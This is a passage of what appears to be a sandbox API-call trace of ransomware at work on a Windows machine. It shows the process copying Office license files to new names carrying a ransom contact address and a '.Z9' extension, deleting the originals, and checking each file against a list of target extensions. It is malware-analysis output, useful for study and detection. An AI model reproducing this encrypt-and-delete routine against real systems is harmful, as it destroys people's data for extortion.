	[0183.448] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0183.449] GetLastError () returned 0x0
	[0183.449] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2ba7, lpOverlapped=0x0) returned 1
	[0183.461] WriteFile (in: hFile=0x550, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0183.462] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.462] WriteFile (in: hFile=0x550, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x112, lpOverlapped=0x0) returned 1
	[0183.462] SetEndOfFile (hFile=0x550) returned 1
	[0183.462] CloseHandle (hObject=0x550) returned 1
	[0183.462] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.462] SetEndOfFile (hFile=0x554) returned 1
	[0183.465] CloseHandle (hObject=0x554) returned 1
	[0183.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 1
	[0183.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0183.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0183.466] lstrlenW (lpString=".doc") returned 4
	[0183.466] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.466] lstrlenW (lpString=".docx") returned 5
	[0183.466] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.466] lstrlenW (lpString=".pdf") returned 4
	[0183.466] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.466] lstrlenW (lpString=".xls") returned 4
	[0183.466] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.467] lstrlenW (lpString=".xlsx") returned 5
	[0183.467] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.467] lstrlenW (lpString=".ppt") returned 4
	[0183.467] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0183.467] lstrlenW (lpString=".zip") returned 4
	[0183.467] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.467] lstrlenW (lpString=".rar") returned 4
	[0183.467] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.467] lstrlenW (lpString=".bz2") returned 4
	[0183.467] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.467] lstrlenW (lpString=".7z") returned 3
	[0183.467] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0183.467] lstrlenW (lpString=".dbf") returned 4
	[0183.467] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0183.467] lstrlenW (lpString=".1cd") returned 4
	[0183.467] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0183.467] lstrlenW (lpString=".jpg") returned 4
	[0183.467] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0183.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0183.467] lstrlenW (lpString=".doc") returned 4
	[0183.467] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.467] lstrlenW (lpString=".docx") returned 5
	[0183.467] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.467] lstrlenW (lpString=".pdf") returned 4
	[0183.467] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.467] lstrlenW (lpString=".xls") returned 4
	[0183.467] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.467] lstrlenW (lpString=".xlsx") returned 5
	[0183.467] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.467] lstrlenW (lpString=".ppt") returned 4
	[0183.468] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0183.468] lstrlenW (lpString=".zip") returned 4
	[0183.468] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.468] lstrlenW (lpString=".rar") returned 4
	[0183.468] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.468] lstrlenW (lpString=".bz2") returned 4
	[0183.468] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.468] lstrlenW (lpString=".7z") returned 3
	[0183.468] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0183.468] lstrlenW (lpString=".dbf") returned 4
	[0183.468] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0183.468] lstrlenW (lpString=".1cd") returned 4
	[0183.468] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0183.468] lstrlenW (lpString=".jpg") returned 4
	[0183.468] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.468] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.468] lstrlenW (lpString="MondoR_BypassTrial180-ppd.xrm-ms") returned 32
	[0183.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0183.469] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=26538) returned 1
	[0183.469] CloseHandle (hObject=0x554) returned 1
	[0183.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0183.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0183.470] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.470] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0183.471] GetLastError () returned 0x0
	[0183.471] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x67aa, lpOverlapped=0x0) returned 1
	[0183.782] WriteFile (in: hFile=0x550, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0183.784] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.784] WriteFile (in: hFile=0x550, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x114, lpOverlapped=0x0) returned 1
	[0183.784] SetEndOfFile (hFile=0x550) returned 1
	[0183.784] CloseHandle (hObject=0x550) returned 1
	[0183.784] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.784] SetEndOfFile (hFile=0x554) returned 1
	[0183.792] CloseHandle (hObject=0x554) returned 1
	[0183.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0183.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0183.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0183.801] lstrlenW (lpString=".doc") returned 4
	[0183.801] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.801] lstrlenW (lpString=".docx") returned 5
	[0183.801] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.801] lstrlenW (lpString=".pdf") returned 4
	[0183.801] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.801] lstrlenW (lpString=".xls") returned 4
	[0183.801] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.801] lstrlenW (lpString=".xlsx") returned 5
	[0183.801] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.801] lstrlenW (lpString=".ppt") returned 4
	[0183.801] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0183.801] lstrlenW (lpString=".zip") returned 4
	[0183.801] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.801] lstrlenW (lpString=".rar") returned 4
	[0183.801] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.801] lstrlenW (lpString=".bz2") returned 4
	[0183.801] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.801] lstrlenW (lpString=".7z") returned 3
	[0183.801] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0183.801] lstrlenW (lpString=".dbf") returned 4
	[0183.801] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0183.801] lstrlenW (lpString=".1cd") returned 4
	[0183.802] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0183.802] lstrlenW (lpString=".jpg") returned 4
	[0183.802] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0183.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0183.802] lstrlenW (lpString=".doc") returned 4
	[0183.802] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.802] lstrlenW (lpString=".docx") returned 5
	[0183.802] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.802] lstrlenW (lpString=".pdf") returned 4
	[0183.802] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.802] lstrlenW (lpString=".xls") returned 4
	[0183.802] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.802] lstrlenW (lpString=".xlsx") returned 5
	[0183.802] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.802] lstrlenW (lpString=".ppt") returned 4
	[0183.802] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0183.802] lstrlenW (lpString=".zip") returned 4
	[0183.802] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.802] lstrlenW (lpString=".rar") returned 4
	[0183.802] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.802] lstrlenW (lpString=".bz2") returned 4
	[0183.802] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.802] lstrlenW (lpString=".7z") returned 3
	[0183.802] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0183.802] lstrlenW (lpString=".dbf") returned 4
	[0183.802] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0183.802] lstrlenW (lpString=".1cd") returned 4
	[0183.802] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0183.802] lstrlenW (lpString=".jpg") returned 4
	[0183.803] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.803] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.803] lstrlenW (lpString="MondoR_OEM_Perp-ul-oob.xrm-ms") returned 29
	[0183.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0183.804] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11582) returned 1
	[0183.804] CloseHandle (hObject=0x554) returned 1
	[0183.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0183.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0183.804] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.805] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0183.805] GetLastError () returned 0x0
	[0183.805] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d3e, lpOverlapped=0x0) returned 1
	[0183.807] WriteFile (in: hFile=0x460, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0183.808] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.808] WriteFile (in: hFile=0x460, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x10e, lpOverlapped=0x0) returned 1
	[0183.808] SetEndOfFile (hFile=0x460) returned 1
	[0183.809] CloseHandle (hObject=0x460) returned 1
	[0183.809] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.809] SetEndOfFile (hFile=0x554) returned 1
	[0183.812] CloseHandle (hObject=0x554) returned 1
	[0183.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 1
	[0183.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0183.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0183.813] lstrlenW (lpString=".doc") returned 4
	[0183.813] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.813] lstrlenW (lpString=".docx") returned 5
	[0183.813] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.813] lstrlenW (lpString=".pdf") returned 4
	[0183.813] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.813] lstrlenW (lpString=".xls") returned 4
	[0183.813] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.813] lstrlenW (lpString=".xlsx") returned 5
	[0183.813] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.813] lstrlenW (lpString=".ppt") returned 4
	[0183.814] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0183.814] lstrlenW (lpString=".zip") returned 4
	[0183.814] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.814] lstrlenW (lpString=".rar") returned 4
	[0183.814] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.814] lstrlenW (lpString=".bz2") returned 4
	[0183.814] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.814] lstrlenW (lpString=".7z") returned 3
	[0183.814] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0183.814] lstrlenW (lpString=".dbf") returned 4
	[0183.814] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0183.814] lstrlenW (lpString=".1cd") returned 4
	[0183.814] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0183.814] lstrlenW (lpString=".jpg") returned 4
	[0183.814] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0183.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0183.814] lstrlenW (lpString=".doc") returned 4
	[0183.814] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.814] lstrlenW (lpString=".docx") returned 5
	[0183.814] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.814] lstrlenW (lpString=".pdf") returned 4
	[0183.814] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.814] lstrlenW (lpString=".xls") returned 4
	[0183.814] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.814] lstrlenW (lpString=".xlsx") returned 5
	[0183.814] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.814] lstrlenW (lpString=".ppt") returned 4
	[0183.814] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0183.814] lstrlenW (lpString=".zip") returned 4
	[0183.815] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.815] lstrlenW (lpString=".rar") returned 4
	[0183.815] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.815] lstrlenW (lpString=".bz2") returned 4
	[0183.815] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.815] lstrlenW (lpString=".7z") returned 3
	[0183.815] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0183.815] lstrlenW (lpString=".dbf") returned 4
	[0183.815] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0183.815] lstrlenW (lpString=".1cd") returned 4
	[0183.815] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0183.815] lstrlenW (lpString=".jpg") returned 4
	[0183.815] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.815] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.815] lstrlenW (lpString="MondoR_OEM_Perp-ul-phn.xrm-ms") returned 29
	[0183.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0183.816] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=19927) returned 1
	[0183.816] CloseHandle (hObject=0x554) returned 1
